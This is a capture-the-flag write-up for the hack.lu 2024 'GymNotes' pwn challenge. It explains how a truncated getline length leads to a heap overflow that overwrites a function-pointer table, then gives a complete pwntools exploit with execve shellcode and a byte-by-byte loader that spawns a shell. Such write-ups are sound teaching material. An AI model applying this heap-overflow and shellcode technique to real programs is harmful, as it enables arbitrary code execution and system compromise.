Post

hackluCTF2024 - GYMNOTES

PWN

Hey Pentester! We hired a professional developer to code our GymNotes and we were interested in you checking whether it has vulnerabilities or not. It should be har to find a bug, since our developer has contributed to xz for a long time.


For this challenge, the vulnerable program source code is given to us:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdint.h>

#define MAX_NOTE_SIZE 1000

struct Note {
  char data[MAX_NOTE_SIZE];
};

struct Note *notes;
static short lastNoteIndex = 0;

void showNote() {
  printf("Choose a note u want to inspect \n", lastNoteIndex);
  printf("> \n");

  short option;
  scanf("%hd", &option);
  getchar();


  option++;
  if(option < 0 || option > lastNoteIndex) {
    printf("Note not found..\n");
    return;
  }

  printf("Note consists of: %s\n\n", notes[option].data);
}

void addNote() {
  char *line = NULL;
  size_t len = 0;
  short nread;

  if(lastNoteIndex > MAX_NOTE_SIZE) {
    printf("Max notes reached..");
    return;
  }

  printf("Write a note (max. %d characters)\n", MAX_NOTE_SIZE);
  printf("> \n");
  nread = getline(&line, &len, stdin);

  if(nread >= MAX_NOTE_SIZE) {
    printf("Too many characters, adding note failed..\n");
    return;
  }

  lastNoteIndex++;
  notes = realloc(notes, (lastNoteIndex+1)*sizeof(struct Note));
  strcpy(notes[lastNoteIndex].data, line);
  printf("Note added!\n");
}

void editNote() {
  printf("Choose a note u want to edit\n");
  printf("> \n");

  short option;
  scanf("%hd", &option);
  getchar();

  option++;
  if(option < 0 || option > lastNoteIndex) {
    printf("Note not found..\n");
    return;
  }

  printf("What would u like to replace it with?\n");

  char *line = NULL;
  size_t len = 0;
  short nread;

  printf("Write a note (max. %d characters)\n", MAX_NOTE_SIZE);
  printf("> \n");
  nread = getline(&line, &len, stdin);

  if(nread >= MAX_NOTE_SIZE) {
    printf("Too many characters, adding note failed..\n");
    return;
  }

  strcpy(notes[option].data, line);
  printf("Note edited!\n");
}

void delNote() {
  printf("Function 0x%lx isn't implemented yet..\n", (void*)delNote);
}

void (**optionFuncs)();
int optionFuncsSize;
void allowFunctionsExec(int callFromMain, int mode) {
  if(mode % 2 == 0) {
    if (mprotect(optionFuncs, optionFuncsSize, PROT_READ | PROT_WRITE | PROT_EXEC) == -1) {
      perror("mprotect");
      exit(1);
    }
    else {
      printf("mprotect at 0x%lx..\n", optionFuncs);
      return;
    }

    if(mode % 2 != 0 || !callFromMain)
      exit(1);
  }
}

int main(int argc, char *argv[]) {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  notes = malloc(sizeof(struct Note));
  strcpy(notes[0].data, "Example Note\n");

 optionFuncsSize = sysconf(_SC_PAGESIZE);
  if (posix_memalign((void**)&optionFuncs, optionFuncsSize, optionFuncsSize) != 0) {
    fprintf(stderr, "Memory allocation failed\n");
    exit(1);
  }

  optionFuncs[0] = showNote;
  optionFuncs[1] = addNote;
  optionFuncs[2] = delNote;
  optionFuncs[3] = editNote;

  allowFunctionsExec(1, 1);

  printf("Welcome to GymNotes!\n");
  short option;
  while(1) {
    printf("1. Show Note\n");
    printf("2. Add Note\n");
    printf("3. Delete Note\n");
    printf("4. Edit Note\n");
    printf("> \n");
    //fflush(stdout);

    scanf("%hd", &option);
    getchar();
    if (option >= 1 && option <= 4) {
      (*optionFuncs[option - 1])();
    } else {
      printf("Invalid option\n");
    }
  }

  return 0;
}

Intro

The allowFunctionSize() function makes clear that, the intended way to solve this challenge consistis of:

  1. Call allowFunctionSize() with valid arguments to reach the call to mprotect().
  2. Place a shellcode in the memory page starting at optionFuncs.
  3. Jump to the shellcode.

Integer overflow

What at first was not so clear to me, was the signed integer overflow vulnerability in the functions addNote() and editNote():

Signed integer overflow at addNote function
Signed integer overflow at editNote function

Heap overflow

Since the getline() return value is stored in a short, a 0x7fff bytes input would set the short value to -1. Then the MAX_NOTE_SIZE limit would not be exceeded, leading to a heap overflow.

The optionFuncs[] array elements are also stored in the heap, so the heap overflow could be leveraged to overwrite the function pointers and control the execution flow.

The tricky thing here is that, between notes[0] or notes[1] and optionFuncs[] there are the heap main arena pointers, and overwriting those pointers would corrupt the heap and crash the program at the next malloc(). Adding a dummy note first, would cause the next call to getline() to store user input between main arena pointers and optionFuncs[].

Shellcode loader

The last roadblock to getting a shell is to write a shellcode and jump to it.

The optionFuncs[0], optionFuncs[1] and optionFuncs[2] pointers could be overwriten with the shellcode and optionFuncs[3] with the shellcode base address (optionFuncs[0]). Then it would be easy to write a 24 bytes shellcode and jump to it. But that address is not valid because its first byte is a null byte, so optionFuncs[3] would have to be overwritten with the optionFuncs[0]+1 memory address. And what is worse, the smallest Linux x86_64 shellcode I know has 27 bytes.

Given that scenario, the best solution that came to my mind was to build a custom assembly loader that writes the shellcode two by two bytes at an arbitrary memory address within the optionFuncs memory page with RWX permissions. The loader has to be split into 2 parts not bigger than 15 bytes since optionFuncs[2] would be overwritten with optionFuncs[0]+1 memory address and optionFuncs[4] would not be modified to let us overwrite optionFuncs as many times as necessary:

  1. The first part loads in R12 the target address (starting at optionFuncs[0]+20 memory address and increasing it by two)
  2. The second part writes two shellcode bytes to the R12 address.

Exploit

Here is a sum up of the exploit and the exploit source code:

  1. Add dummy note
  2. Leak VBA
  3. Call allowFunctionsExec()
  4. Load shellcode
  5. Jump to shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

SHELLCODE = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
SHELLCODE += b"\x90"

def overwrite_optionFuncs(new_optionFuncs):
    payload = b"A"*0x8f0                    # padding
    payload += new_optionFuncs              # bytes to overwrite optionFuncs[]
    payload += b"A"*(0x7fff-len(payload))   # padding
    s.sendlineafter(b"> \n", b"4")
    s.sendlineafter(b"> \n", b"-1")
    s.sendlineafter(b"> \n", payload)

def loader():
    for i in range(len(SHELLCODE)//2):
        # Store address to write in r12
        loader = b"\x4C\x8D\x25\x99\x08\x01\x01"    # lea    r12,[rip+0x1010899]
        loader += b"\x49\x81\xEC"                   # sub    r12,0x10108?? (part 1)
        loader += (0x81-i*2).to_bytes()             # sub    r12,0x10108?? (part 2)
        loader += b"\x08\x01\x01"                   # sub    r12,0x10108?? (part 3)
        loader += b"\xc3"                           # ret
        loader += b"\x90"*(15-len(loader))          # padding
        new_optionFuncs = b"\xff" + loader  # optionFuncs[0] & optionFuncs[1]
        new_optionFuncs += p64(mprotect+1)  # optionFuncs[2]
        overwrite_optionFuncs(new_optionFuncs)
        s.sendlineafter(b"> \n", b"3")      # run loader

        # Write 2 shellcode bytes in [r12] and [r12+1]
        loader = b"\x41\x80\x04\x24"            # add    BYTE PTR [r12], ? (part 1)
        loader += SHELLCODE[i*2].to_bytes()     # add    BYTE PTR [r12], ? (part 2)
        loader += b"\x41\x80\x44\x24\x01"       # add    BYTE PTR [r12+0x1], ? (part 1)
        loader += SHELLCODE[i*2+1].to_bytes()   # add    BYTE PTR [r12+0x1], ? (part 2)
        loader += b"\xc3"                       # ret
        loader += b"\x90"*(15-len(loader))      # padding
        new_optionFuncs = b"\xff" + loader  # optionFuncs[0] & optionFuncs[1]
        new_optionFuncs += p64(mprotect+1)  # optionFuncs[2]
        overwrite_optionFuncs(new_optionFuncs)
        s.sendlineafter(b"> \n", b"3")      # run loader

if __name__ == "__main__":
    s = process("./gym_notes")
    #s = remote("gym-notes.flu.xxx", 1337)
    
    # 1- Add dummy note (to not overwrite main arena pointers)
    s.sendlineafter(b"> \n", b"2")
    s.sendlineafter(b"> \n", b"XXXX")
    
    # 2- Leak VBA
    s.sendlineafter(b"> \n", b"3")
    fun_delNote        = int(s.recvline().decode().split()[1], 16)
    vba                = fun_delNote - 0x6a6
    allowFunctionsExec = vba + 0x6f6
    
    log.info(f"Virtual Base Address ==> {hex(vba)}")
    
    # 3- Call allowFunctionsExec()
    new_optionFuncs = b"X"*0x8                  # optionFuncs[0]
    new_optionFuncs += p64(allowFunctionsExec)  # optionFuncs[1]
    overwrite_optionFuncs(new_optionFuncs)
    s.sendlineafter(b"> \n", b"2")
    mprotect = int(s.recvline().split()[2][:-2], 16)
    log.info(f"RWX heap section ==> {hex(mprotect)}")
    
    # 4- Load shellcode
    loader()
    
    # 5- Jump to shellcode
    new_optionFuncs = b"X"*0x8              # optionFuncs[0] ; has to be 4th opt
    new_optionFuncs += b"X"*0x8             # optionFuncs[1] ; any other option would have left junk in MSBs
    new_optionFuncs += b"X"*0x8             # optionFuncs[2]
    new_optionFuncs += p64(mprotect+0x20)   # optionFuncs[3]
    overwrite_optionFuncs(new_optionFuncs)
    s.sendlineafter(b"> \n", b"4")
    
    #br = hex(vba+0x997) # call RDX
    #gdb.attach(s, f"b* {br}")
    s.interactive()
This post is licensed under CC BY 4.0 by the author.